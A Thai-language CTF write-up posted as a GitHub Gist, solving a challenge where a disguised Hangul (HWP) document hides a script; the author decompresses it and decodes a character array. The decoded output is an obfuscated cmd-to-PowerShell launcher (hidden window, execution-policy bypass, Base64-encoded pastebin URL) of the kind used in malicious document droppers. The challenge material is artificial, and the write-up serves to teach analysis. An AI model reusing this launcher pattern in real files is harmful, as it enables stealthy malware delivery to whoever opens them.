Created
October 22, 2017 17:01
-
-
Save pich4ya/fca849dbf3198c734640be78f106445b to your computer and use it in GitHub Desktop.
Thailand CTF 2017 Write-up : Everything is Broken (300)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
โจทย์ให้ไฟล์ everything_is_broken.doc มาแต่เปิดด้วย MS word ไม่ออก | |
วิธีแก้ | |
1.) | |
$ file everything_is_broken.doc | |
everything_is_broken.doc: Hangul (Korean) Word Processor File 5.x | |
เจอว่าเป็น Hangul เป็นโปรแกรม Word จากเกาหลีไม่ใช่ MS Word ปกติ | |
2.) | |
หาในกูเกิลเจอว่าปกติไฟล์ประเภทนี้มันต้องนามสกุล .hwp | |
เลยไปโหลดไฟล์ตัวอย่างมา ใส่ในกูเกิลว่า "hwp example" เจอ | |
https://cdn.online-convert.com/example-file/document/hwp/example.hwp | |
3.) | |
เทียบไฟล์ตัวอย่างกับไฟล์โจทย์ โดยแก้นามสกุลไฟล์เป็น .zip แล้วแตกออกมา | |
(พวกไฟล์ Word/Excel/PPT ปกติจะเป็น format ที่ซิบรวมหลายไฟล์เข้าด้วยกัน) | |
วิธีเช็คใช้เทียบค่า md5 | |
$ find . -type f -exec md5 {} ';' | |
MD5 (./everything_is_broken/[5]HwpSummaryInformation) = ee645ebe321cb3b70e4b72e6d9129ed4 | |
MD5 (./everything_is_broken/BodyText/Section0) = b15d2a7ff0483f7212504746afca339d | |
MD5 (./everything_is_broken/DocInfo) = 99fa2e488473b7620478b0f66365db59 | |
MD5 (./everything_is_broken/DocOptions/_LinkDoc) = 4011fd81aae12cd1b25f611160533347 | |
MD5 (./everything_is_broken/FileHeader) = 75a1d2ba429b37d7d7c3ae0f8bd0c23a | |
MD5 (./everything_is_broken/PrvText) = 307d65b6e52853407c515c59b980c98b | |
MD5 (./everything_is_broken/Scripts/DefaultJScript) = 54b7457c9894c23ff7a8bdc4a46951ff | |
MD5 (./everything_is_broken/Scripts/JScriptVersion) = e3669c89075ba3ad9769ee51d2f1988c | |
MD5 (./example/[5]HwpSummaryInformation) = ee645ebe321cb3b70e4b72e6d9129ed4 | |
MD5 (./example/BinData/BIN0001.jpg) = d12d412799d8823094f180932046d18d | |
MD5 (./example/BinData/BIN0002.png) = 1f1f67e47de492d685a1f2d9a6344db1 | |
MD5 (./example/BinData/BIN0003.svg) = 3fdb53a8272b0fd372e5a7f8e61f3bde | |
MD5 (./example/BodyText/Section0) = b15d2a7ff0483f7212504746afca339d | |
MD5 (./example/DocInfo) = 99fa2e488473b7620478b0f66365db59 | |
MD5 (./example/DocOptions/_LinkDoc) = 4011fd81aae12cd1b25f611160533347 | |
MD5 (./example/FileHeader) = 75a1d2ba429b37d7d7c3ae0f8bd0c23a | |
MD5 (./example/PrvImage) = 03b7068ac5277280a6467f7724772809 | |
MD5 (./example/PrvText) = 307d65b6e52853407c515c59b980c98b | |
MD5 (./example/Scripts/DefaultJScript) = 3aeb89556cf9bd574bd6e895b21ba2bc | |
MD5 (./example/Scripts/JScriptVersion) = e3669c89075ba3ad9769ee51d2f1988c | |
จะสังเกตว่า ไฟล์ที่มีเหมือนกัน มีค่า md5 เหมือนกันเกือบหมด ยกเว้นแค่ไฟล์เดียวคือ DefaultJScript ที่ค่าต่างกัน | |
หาข้อมูลเพิ่มเติมพบว่าไฟล์นี้ใช้เก็บ ส่วนที่คล้ายเป็น VBScript Macro ของ MS Word แต่เปิดตรง ๆ ไม่ได้เป็น binary form | |
4.) แกะ & อ่าน DefaultJScript | |
$ file DefaultJScript | |
DefaultJScript: zlib compressed data | |
$ brew install pigz | |
$ mv DefaultJScript DefaultJScript.zz | |
$ pigz -d DefaultJScript.zz | |
$ head DefaultJScript | |
[...] | |
var fe6a3, hce27, q2c9, kc43bfe37, j82d9f9895; | |
var t7baacd, a4389, pc74932e5, y9964b; | |
var m898 = {}; | |
var le69f0cb6, w25b4c64a = true; | |
s01d4a244 = "kfveho iwkgavb htspdy ng vsxgw rvdlyepg xkbw"; | |
[...] | |
5.) wtf | |
จะได้ DefaultJScript แบบที่เป็น plaintext แล้วพบว่าเป็น JS/VBScript มั่ว ๆ ที่รันไม่ได้ (เช่นเรียกฟังก์ชันชื่อมั่ว ๆ ที่ไม่มีเต็มไปหมด) | |
แต่ในไฟล์จะมี array ตัวแปรนึง เด่นมาก เพราะขนาดใหญ่สุด | |
var 1j82d9f98952 = [99, 109, 100, 46, 94, 69, 120, 94, 69, 32, 47, 99, 32, 80, 79, 119, 101, 114, 83, 94, 72, 101, 108, 108, 46, 94, 69, 120, 94, 69, 32, 32, 45, 119, 105, 110, 94, 100, 111, 119, 115, 94, 116, 121, 108, 101, 32, 32, 32, 32, 32, 32, 104, 105, 100, 100, 101, 110, 32, 32, 45, 69, 120, 94, 69, 94, 99, 117, 116, 105, 111, 110, 94, 80, 79, 76, 94, 73, 99, 121, 32, 66, 89, 94, 112, 97, 115, 115, 32, 32, 32, 94, 94, 45, 78, 79, 94, 80, 82, 111, 102, 94, 73, 108, 101, 32, 32, 32, 32, 94, 94, 32, 94, 32, 32, 32, 32[...], 36, 102, 111, 94, 111, 32, 61, 32, 91, 83, 121, 115, 116, 101, 109, 46, 67, 111, 94, 110, 118, 101, 114, 116, 93, 58, 58, 70, 114, 111, 109, 94, 66, 94, 97, 115, 101, 94, 54, 52, 83, 116, 94, 114, 94, 94, 105, 110, 103, 40, 34, 97, 72, 82, 48, 99, 68, 111, 118, 76, 51, 66, 104, 99, 51, 82, 108, 89, 109, 108, 117, 76, 109, 78, 118, 98, 83, 56, 49, 86, 109, 116, 110, 78, 71, 85, 122, 97, 103, 111, 61, 34, 41, 59, 10] | |
เหมือนเป็น ASCII code เลยเอามาแปลงเป็น character แต่ก่อนแปลงลบ 32 ทุกตัวออกก่อนเพราะมันเป็นช่องว่าง | |
File: broken.js | |
var bigArray = [99, 109, 100, 46, 94, 69, 120, 94, 69, 47, 99, 80, 79, 119, 101, 114, 83, 94, 72, 101, 108, 108, 46, 94, 69, 120, 94, 69, 45, 119, 105, 110, 94, 100, 111, 119, 115, 94, 116, 121, 108, 101, 104, 105, 100, 100, 101, 110, 45, 69, 120, 94, 69, 94, 99, 117, 116, 105, 111, 110, 94, 80, 79, 76, 94, 73, 99, 121, 66, 89, 94, 112, 97, 115, 115, 94, 94, 45, 78, 79, 94, 80, 82, 111, 102, 94, 73, 108, 101,94, 94, 94, 36, 102, 111, 94, 111, 61, 91, 83, 121, 115, 116, 101, 109, 46, 67, 111, 94, 110, 118, 101, 114, 116, 93, 58, 58, 70, 114, 111, 109, 94, 66, 94, 97, 115, 101, 94, 54, 52, 83, 116, 94, 114, 94, 94, 105, 110, 103, 40, 34, 97, 72, 82, 48, 99, 68, 111, 118, 76, 51, 66, 104, 99, 51, 82, 108, 89, 109, 108, 117, 76, 109, 78, 118, 98, 83, 56, 49, 86, 109, 116, 110, 78, 71, 85, 122, 97, 103, 111, 61, 34, 41, 59, 10] | |
var out = ""; | |
for (var i = 0; i < bigArray.length; i++) { | |
out += String.fromCharCode(bigArray[i]); | |
} | |
console.log(out); | |
$ node broken.js | |
cmd.^Ex^E/cPOwerS^Hell.^Ex^E-win^dows^tylehidden-Ex^E^cution^POL^IcyBY^pass^^-NO^PRof^Ile^^^$fo^o=[System.Co^nvert]::From^B^ase^64St^r^^ing("aHR0cDovL3Bhc3RlYmluLmNvbS81VmtnNGUzago="); | |
จะได้คำสั่ง OS รัน powershell เพื่อแปลง Base64 กับค่า aHR0cDovL3Bhc3RlYmluLmNvbS81VmtnNGUzago= แปลงเองได้เป็น | |
http://pastebin.com/5Vkg4e3j | |
6.) Uuencoding | |
เข้าลิ้ง pastebin ไปเจอ | |
begin 644 key.tgz | |
M'XL(`#WL-5@``^W3P4["0!`&X)[Q%3S,$\#,[K;;'C:&F!B,'DSTXF7C*HU6 | |
M%!(H`GKQU7PS6RV0R,U(U/!_EVEFV^UTF_\LS'MYZ.?CSB!?M,MY&?T\9DZ, | |
MH<A^6%=N*-$DFB762<*Q$(MA(Q'-MS#+ANFD#.-JE#`(D^?P_7T^/X56]9\0 | |
M2[=%WTFF=,(J35N2TK1J*+8<9SI5W%),-V7QF#LQ-LNJ>ZRN>V&CI^G\L'=\ | |
M>MGNYT].DNH?J_KQ5;L8CIQ8HR0U<?V>ICU\*(8#)ZW?/HJ=M+W4KRWS_UI= | |
MO]R_[==U;]:Y6N:?X_A+_I6Q.B+>ZE2-'<^_ZWGB&1%UR?MK3S2:^O+BCGQ! | |
JDZ.1'U/7GU!>K2\.'!(*````````````````````\/>\`Z&-_S``*``` | |
` | |
end | |
เอา "begin 644" ไปกูเกิลเจอว่าเป็น Uuencoding (ใช้แปลง binary form เป็น text สำหรับส่งเมล) | |
แกะง่าย ๆ โดยเซฟเป็นไฟล์ broken.gz แล้วดับเบิลคลิกบนแมค Archive Utility จะแกะให้เองได้ key.txt | |
Flag: =H^ 0w A ^^b^ ou^tTh ^i sFo^r A^K e y?= |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment